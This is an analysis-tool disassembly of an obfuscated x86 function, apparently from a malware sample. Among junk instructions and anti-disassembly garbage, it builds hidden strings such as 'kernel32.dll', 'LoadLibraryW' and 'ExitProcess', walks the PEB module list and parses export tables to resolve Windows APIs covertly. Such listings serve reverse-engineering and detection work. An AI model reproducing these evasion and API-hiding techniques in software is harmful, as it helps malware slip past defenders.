Function at 0x532a53
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add edx, 0x294
jmp 0x5320df
add edx, 0x74a1
pop edx
push edi
push ecx
add esp, 4
or edi, 0x17eba
xor edi, 0x2146
jmp 0x5320fe
and edi, 0x1310
pop edi
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push eax
push ebx
add esp, 4
add eax, 0xbd68
sub eax, 0xf52b
jmp 0x532128
pop eax
push eax
or eax, 0x15b1
jmp 0x532136
sub eax, 0x5018
add eax, 0xa7df
pop eax
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push esi
call 0x532198
add byte [eax + 0x41], al
xor al, 0x4e
cmp al, 0x83
les eax, [ecx + eax*4]
into
push ebx
mov al, byte [eax]
add byte [ecx + 0x922bc6], al
add byte [esi + 0x56], bl
push ebx
add esp, 4
sub esi, 0x634a
jmp 0x5321bc
pop esi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push esi
push edi
add esp, 4
sub esi, 0x6d63
and esi, 0x160de
sub esi, 0x15939
pop esi
push ebx
sub ebx, 0x5562
or ebx, 0xf384
or ebx, 0x95ad
xor ebx, 0x14b6a
pop ebx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push eax
jmp 0x532259
sub eax, 0x13902
pop eax
push edi
push ebx
add esp, 4
xor edi, 0x10dd9
call 0x532279
add byte [esp + eax*2], dh
aas
cmp ecx, dword [edi + 0x3e]
inc eax
inc edi
add esp, 4
or edi, 0x10b03
pop edi
mov dword [ebp - 0x1fa4], 0xe
push esi
or esi, 0xf4fa
jmp 0x53229b
pop esi
push ebx
push esi
add esp, 4
xor ebx, 0x9fa9
call 0x5322b5
add byte [ebp + eax*2 + 0x40], cl
xor eax, dword [ecx + 0x3e]
dec esi
cmp dword [ebx - 0x1c7efb3c], eax
xor edx, ecx
add byte [eax], al
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push eax
add eax, 0x1260
add eax, 0x9975
call 0x5322f1
add byte [esp + edi], bh
inc ebx
inc ebx
dec edi
push eax
push eax
add esp, 4
call 0x532302
add byte [ecx], bh
inc ecx
dec eax
cmp edi, dword [0x83413f3c]
les eax, [eax + ebx*2]
mov dword [ebp - 0x1fa8], 0xffffffff
push edi
push ebx
add esp, 4
add edi, 0x6a80
pop edi
push edi
or edi, 0x1504b
call 0x532330
add byte [esi + 0x4b], al
xor dh, byte [edi + ecx*2]
inc ebx
dec edi
add esp, 4
add edi, 0x10c05
pop edi
push edi
and edi, 0x1653b
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x53235f
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
sub ecx, 0xb2a8
or ecx, 0x77e2
and ecx, 0x2f83
xor ecx, 0x5b23
pop ecx
push esi
push esi
add esp, 4
and esi, 0x7f73
sub esi, 0x13ce9
add esi, 0x11e8c
pop esi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x5323d9
push edx
push eax
add esp, 4
and edx, 0x12575
jmp 0x5323b3
add edx, 0xdd16
pop edx
push ebx
push esi
add esp, 4
xor ebx, 0xfc19
pop ebx
push ecx
jmp 0x5323cd
sub ecx, 0xbbeb
pop ecx
jmp 0x532607
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ecx
sub ecx, 0x4b8d
pop ecx
push ecx
push eax
add esp, 4
jmp 0x532401
add ecx, 0x992d
jmp 0x53240e
xor ecx, 0x169e6
pop ecx
push eax
push edi
add esp, 4
sub eax, 0x965
pop eax
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x532488
push edx
add edx, 0xda54
jmp 0x532453
xor edx, 0x40b1
pop edx
push edi
push ebx
add esp, 4
call 0x53246d
add byte [edi + 0x48], al
inc esi
cmp ecx, dword [edi + 0x44]
aaa
add esp, 4
sub edi, 0x5497
pop edi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x5325b9
cmp dword [ebp - 0xc08], 0
jle 0x5325ad
push edi
push edi
add esp, 4
sub edi, 0x135bb
sub edi, 0x3383
or edi, 0x16eb8
sub edi, 0xd26b
pop edi
push eax
call 0x5324c3
add byte [ebp + 0x3c], cl
dec edi
xor al, byte [ecx + 0x49]
cmp eax, 0xc4834c33
add al, 0x58
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x532549
push edx
and edx, 0xd013
call 0x5324f1
add byte [ebp + 0x3c], al
cmp dword [eax + 0x3f], ecx
dec edx
dec ebx
add esp, 4
pop edx
push edx
add edx, 0x15037
sub edx, 0x18d5
or edx, 0x779f
or edx, 0x56da
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x532531
mov dword [ebp - 0x14c0], 1
jmp 0x53253b
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x5325ad
push ebx
sub ebx, 0x1679a
sub ebx, 0x405f
call 0x532565
add byte [ebx], dh
inc eax
xor eax, dword [ebp + 0x33]
xor eax, 0xc4833641
add al, 0x81
ret
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x532602
push edi
sub edi, 0x18630
or edi, 0xaf41
xor edi, 0x86fe
pop edi
push ebx
push eax
add esp, 4
xor ebx, 0x4c93
call 0x5325f0
add byte [0x4042493a], dh
xor cl, byte [eax + 0x3d]
dec ecx
add esp, 4
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x532643
jmp 0x532350
push edx
push esi
add esp, 4
sub edx, 0x143ba
call 0x532621
add byte [eax + 0x47], dl
dec edx
dec ebp
inc ebx
dec esi
inc edi
cmp dword ds:[ebx + 0x515a04c4], eax
push ebx
add esp, 4
jmp 0x532632
or ecx, 0x13899
pop ecx
mov dword [ebp - 0x3cc], 0
push ecx
jmp 0x532649
xor ecx, 0x89ac
and ecx, 0x9d36
sub ecx, 0x32bc
pop ecx
push ecx
push esi
add esp, 4
call 0x532671
add byte [edi], dh
cmp cl, byte [ecx + 0x32]
aas
inc edi
xor eax, 0x8334374d
les eax, [ecx + ebx*2]
push ebx
xor ebx, 0xe162
add ebx, 0x15c3d
add ebx, 0x7a6c
add ebx, 0xdfa
pop ebx
push ecx
push esi
add esp, 4
call 0x5326a3
add byte [esi + 0x33], al
dec ebp
inc ebp
inc ebp
inc eax
cmp dword [eax], edi
add esp, 4
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
or eax, 0x71fa
sub eax, 0x6cec
call 0x5326d9
add byte [ebx + 0x38], al
xor eax, 0x3f3d4f49
dec ebx
dec ecx
inc ebp
add esp, 4
call 0x5326ea
add byte [eax + 0x4e], cl
inc ebx
inc edx
xor al, 0x3c
dec edi
dec edi
add esp, 4
pop eax
mov dword [ebp - 0x1fac], 0xffffffff
push esi
add esi, 0x2186
sub esi, 0x90a1
call 0x532714
add byte [edx], dh
dec edi
dec edx
inc ebx
dec edi
cmp byte [ebp + 0x3f], al
add esp, 4
call 0x532726
add byte [ebp + 0x43], al
cmp edi, dword ds:[edi]
inc esp
inc ecx
cmp eax, dword [ebp - 0x7d]
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x532747
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push ebx
add esp, 4
and edi, 0x2e4e
pop edi
push ebx
push edi
add esp, 4
xor ebx, 0x6a47
pop ebx
push ecx
and ecx, 0x4e0c
or ecx, 0x3761
sub ecx, 0x3640
or ecx, 0x5eec
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x5327c1
push edx
push esi
add esp, 4
or edx, 0xa325
pop edx
push ecx
push edi
add esp, 4
jmp 0x5327a0
sub ecx, 0xa48b
call 0x5327b2
add byte [edx], bh
dec eax
inc eax
aaa
inc edi
inc edx
add esp, 4
or ecx, 0xef34
pop ecx
jmp 0x5329ef
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
push ecx
add esp, 4
sub edx, 0xbc89
sub edx, 0x130a0
pop edx
push esi
and esi, 0x163cc
or esi, 0x11a7c
pop esi
push esi
push esi
add esp, 4
xor esi, 0x69e2
or esi, 0x11268
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x532870
push eax
sub eax, 0x9fb7
pop eax
push eax
push ebx
add esp, 4
add eax, 0x5eb0
pop eax
push esi
push eax
add esp, 4
sub esi, 0x12d9a
xor esi, 0xa0e
and esi, 0x5fe8
or esi, 0x11071
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x5329a1
cmp dword [ebp - 0xc10], 0
jle 0x532995
push ecx
push edi
add esp, 4
add ecx, 0x43b4
sub ecx, 0x10435
pop ecx
push eax
add eax, 0x13b53
pop eax
push eax
push edx
add esp, 4
call 0x5328ab
add byte [esi], bh
inc ebx
dec eax
cmp al, 0x39
xor edi, dword [ecx]
push eax
cmp byte [ebx - 0x74a7fb3c], al
xchg ebp, eax
mov al, byte [0xffffff5]
mov dh, 2
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x532931
push edx
xor edx, 0x5cf7
or edx, 0xfb30
call 0x5328df
add byte [eax + 0x4e], dl
dec eax
dec edi
inc edi
inc ecx
xor eax, 0x5a04c483
push edx
or edx, 0x550a
and edx, 0x879e
sub edx, 0x14184
pop edx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x532919
mov dword [ebp - 0x14cc], 1
jmp 0x532923
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x532995
push edi
add edi, 0x129a1
or edi, 0x149b5
and edi, 0x9b99
call 0x532953
add byte [esi], dh
xor cl, byte [ecx + eax*2 + 0x39]
aas
cmp byte [ebx + eax*2 - 0x7d], cl
les eax, [edi + ebx*2]
push ebx
push edx
add esp, 4
or ebx, 0x13174
pop ebx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x532870
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x5329ea
push esi
push ecx
add esp, 4
jmp 0x5329b4
add esi, 0x1360c
pop esi
push edx
jmp 0x5329c2
call 0x5329d2
add byte [edx + 0x34], al
dec esi
cmp ecx, dword [ebx + 0x4f]
aas
cmp al, 0x4e
cmp dword [ebx - 0x157efb3c], eax
mov ebx, 0x5a00005a
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x532a2b
jmp 0x532738
push esi
and esi, 0xa29e
xor esi, 0x10974
pop esi
push ecx
push ecx
add esp, 4
or ecx, 0x14cd6
xor ecx, 0x15eea
pop ecx
push edi
push eax
add esp, 4
xor edi, 0xf1fb
add edi, 0x9533
pop edi
mov dword [ebp - 0xa5c], 0
push esi
push edi
add esp, 4
add esi, 0x5a99
pop esi
push eax
xor eax, 0x690f
pop eax
push edi
push ebx
add esp, 4
call 0x532a53
add byte [edx], bh
dec eax
dec eax
dec esp
xor eax, 0x3e373441
add esp, 4
xor edi, 0x143fa
pop edi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
sub ebx, 0x10f1f
add ebx, 0xa8df
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0x5c2c
jmp 0x532ad0
pop ebx
push edi
push eax
add esp, 4
sub edi, 0x6fe5
and edi, 0x79dd
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
add byte gs:[eax], al
add byte [esi - 0x77], ah
xchg ebp, eax
fucompp
invalid
invalid
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
jmp 0x2f0c2b44
add byte [eax], al
add byte [esi - 0x77], ah
test eax, ebp
jmp 0x650d2b50
add byte [eax], al
add byte [esi - 0x77], ah
invalid
ljmp 0x6c
add byte [eax], al
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push ecx
add esp, 4
call 0x532b90
add byte [ebp + 0x4c], al
dec esp
dec eax
xor bh, byte [esi + esi]
cmp byte [esi - 0x7d], cl
les eax, [ecx + eax*4]
loop 0x532b9b
imul eax, dword [ecx], 0x81525a00
retf 0x5876
or edx, 0x5876
and edx, 0x13167
or edx, 0x93f0
pop edx
push edx
xor edx, 0x117c
sub edx, 0xf07b
call 0x532bc7
add byte [eax], bh
inc esi
inc edi
inc ebx
xor eax, 0x4c48341
or edx, 0x79c0
pop edx
push edx
push ebx
add esp, 4
jmp 0x532bdf
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
add ebx, 0x228c
or ebx, 0xaf79
or ebx, 0x162f8
or ebx, 0x122f
pop ebx
push edx
xor edx, 0xa11f
call 0x532c36
add byte [edx + eax*2], dh
aas
inc edi
cmp al, 0x4f
inc ecx
add esp, 4
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x532c52
mov dword [ebp - 0x2e0], 0
jmp 0x532f0e
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
xor edx, 0xc2c8
call 0x532c7a
add byte [ecx], bh
inc ebx
inc edi
dec eax
dec eax
cmp dword [esi], esi
inc ebp
dec edx
add esp, 4
pop edx
push ecx
push ebx
add esp, 4
xor ecx, 0xd1aa
sub ecx, 0xe4ec
in al, 0
add byte [ecx + 0x993ee1], al
add byte [ecx - 0x7d], bl
mov ebp, 0xfffff3e0
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp 0x532f0e
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
push ebx
push esi
or esi, 0xc915
xor esi, 0x13f07
and esi, 0xc65a
jmp 0x532f27
pop esi
push ebx
push ebx
add esp, 4
add ebx, 0x1508a
or ebx, 0x711e
and ebx, 0xb6f1
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x533859
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
and ebx, 0x2968
xor ebx, 0x12d7c
and ebx, 0xc62b
xor ebx, 0x10255
pop ebx
push edi
push eax
add esp, 4
xor edi, 0xec4a
and edi, 0x4e98
sub edi, 0x508d
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
sub eax, 0xfc05
add eax, 0x1084
pop eax
push ecx
push edi
add esp, 4
or ecx, 0x15a3
call 0x5330c2
add byte [edx + 0x40], al
inc esp
inc eax
inc eax
cmp dword [esi], esi
dec edi
dec esi
add esp, 4
jmp 0x5330cb
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x5330e4
mov dword [ebp - 0x6ec], 0
jmp 0x5333a0
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
push eax
add esp, 4
sub ebx, 0x11882
add ebx, 0x16269
jmp 0x53310d
call 0x53311c
add byte [ebx + 0x4e], al
cmp eax, dword [ecx + 0x35]
inc ecx
inc edi
dec edx
cmp al, 0x83
les eax, [ebx + ebx*2]
push ebx
or ebx, 0x13072
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x533140
mov dword [ebp - 0x6ec], 0
jmp 0x5333a0
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
push ebx
add esp, 4
jmp 0x533157
call 0x533166
add byte [esp + edi], dh
inc edx
inc esi
xor eax, 0x83343441
les eax, [edx + ebx*2]
push eax
jmp 0x533171
xor eax, 0x12668
add eax, 0x184c
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
push eax
add esp, 4
or edi, 0x17e40
sub edi, 0x7a3d
pop edi
push edi
or edi, 0x5dfd
pop edi
push edi
push ebx
add esp, 4
and edi, 0xa5d1
or edi, 0x11d4c
or edi, 0x900a
pop edi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
xor edx, 0x16e37
pop edx
push edx
push ebx
add esp, 4
or edx, 0x155a2
pop edx
push eax
or eax, 0x76d3
add eax, 0x6a4d
pop eax
push eax
or eax, 0x41a1
jmp 0x533268
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x53328c
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x5332ef
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x5331ab
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x5331ab
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x5332d9
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x5332e3
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x533338
push edi
add edi, 0x2bf5
jmp 0x533304
add edi, 0x12cf
call 0x53331a
add byte [esi], dh
inc ecx
cmp al, 0x4c
dec ecx
inc esi
xor al, 0x3f
cmp al, 0x4b
add esp, 4
pop edi
push esi
push edx
add esp, 4
add esi, 0x495
pop esi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x5333a0
push ecx
or ecx, 0xa938
add ecx, 0x13478
add ecx, 0x177ab
and ecx, 0x2574
pop ecx
push edx
push edx
add esp, 4
sub edx, 0xdce3
sub edx, 0xab92
and edx, 0x11801
pop edx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x533396
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x53314c
mov dword [ebp - 0x6ec], 0
push ecx
push ebx
add esp, 4
add ecx, 0xcbe3
call 0x5333b8
add byte [edi + 0x4e], al
dec esp
cmp eax, 0x834f483f
les eax, [ecx + eax*4]
int1
invalid
push eax
and eax, 0x11a98
or eax, 0x2b49
pop eax
push edx
push ebx
add esp, 4
sub edx, 0xa333
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x14ba
add ecx, 0x64a7
and ecx, 0xc673
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
xor edx, 0xc9f
add edx, 0x3e5e
and edx, 0x58d7
jmp 0x5338cb
pop edx
push esi
push eax
add esp, 4
and esi, 0x10d41
and esi, 0x13544
sub esi, 0x13256
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x5338fc
mov dword [ebp - 0x2e0], 0
jmp 0x533ba3
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
push edx
add esp, 4
call 0x533921
add byte [ecx + eax*2], bh
xor eax, dword [ebp + eax*2 + 0x4c]
dec edx
cmp byte [ebx + 0x7e804c4], al
add byte [eax], al
add byte [eax], al
inc esi
inc eax
dec ecx
cmp al, 0x48
cmp byte [ebx - 0x1d7efb3c], al
aam 0x48
add byte [eax], al
and edx, 0x2831
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x533958
mov dword [ebp - 0x2e0], 0
jmp 0x533ba3
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
xor edx, 0xb639
and edx, 0x179b6
jmp 0x533978
pop edx
push esi
push ecx
add esp, 4
call 0x53398c
add byte [esi], bh
inc esp
dec ebp
inc edi
cmp al, byte [eax + 0x4f]
add esp, 4
xor esi, 0x66ad
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
push edi
add esp, 4
or ecx, 0xca6a
jmp 0x5339d3
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x18329
sub edi, 0x145dd
pop edi
push ecx
push edx
add esp, 4
add ecx, 0xe0ea
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ecx
add ecx, 0x14420
add ecx, 0xe467
pop ecx
push edi
push eax
add esp, 4
add edi, 0xdd0a
and edi, 0xd644
pop edi
push edx
push eax
add esp, 4
add edx, 0xc4d1
and edx, 0x17680
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x533a98
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x533af2
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x5339c0
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x5339c0
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x533adc
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x533ae6
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x533b3b
push ebx
sub ebx, 0x4534
jmp 0x533b09
and ebx, 0xf8e6
jmp 0x533b14
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0x8713
add ecx, 0xbd65
xor ecx, 0x6c75
pop ecx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x533ba3
push ecx
sub ecx, 0x10f80
or ecx, 0x6b0e
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0xb826
sub eax, 0xb9e2
call 0x533b69
add byte [ebp + 0x3f], al
cmp bh, byte [edx]
inc edi
cmp al, 0x4c
dec eax
inc esi
add esp, 4
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x533b99
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x533964
mov dword [ebp - 0x2e0], 0
push ecx
push ecx
add esp, 4
xor ecx, 0xd694
pop ecx
push eax
push edx
add esp, 4
add eax, 0xc71d
jmp 0x533bbf
or eax, 0x13ae1
call 0x533bd1
add byte [eax], bh
cmp edi, dword [edx]
xor eax, 0xc483354b
add al, 0x58
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
call 0x533bf4
add byte [ecx + edi + 0x38], al
cmp eax, dword [eax + 0x3f]
dec ebx
inc eax
dec ebx
add esp, 4
or esi, 0x1120c
sub esi, 0x39f2
pop esi
push esi
push esi
add esp, 4
xor esi, 0x791
xor esi, 0x124c5
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x533c46
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x533f37
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x533c6e
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x533f37
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x533ca0
mov edx, dword [ebp - 0x70c]
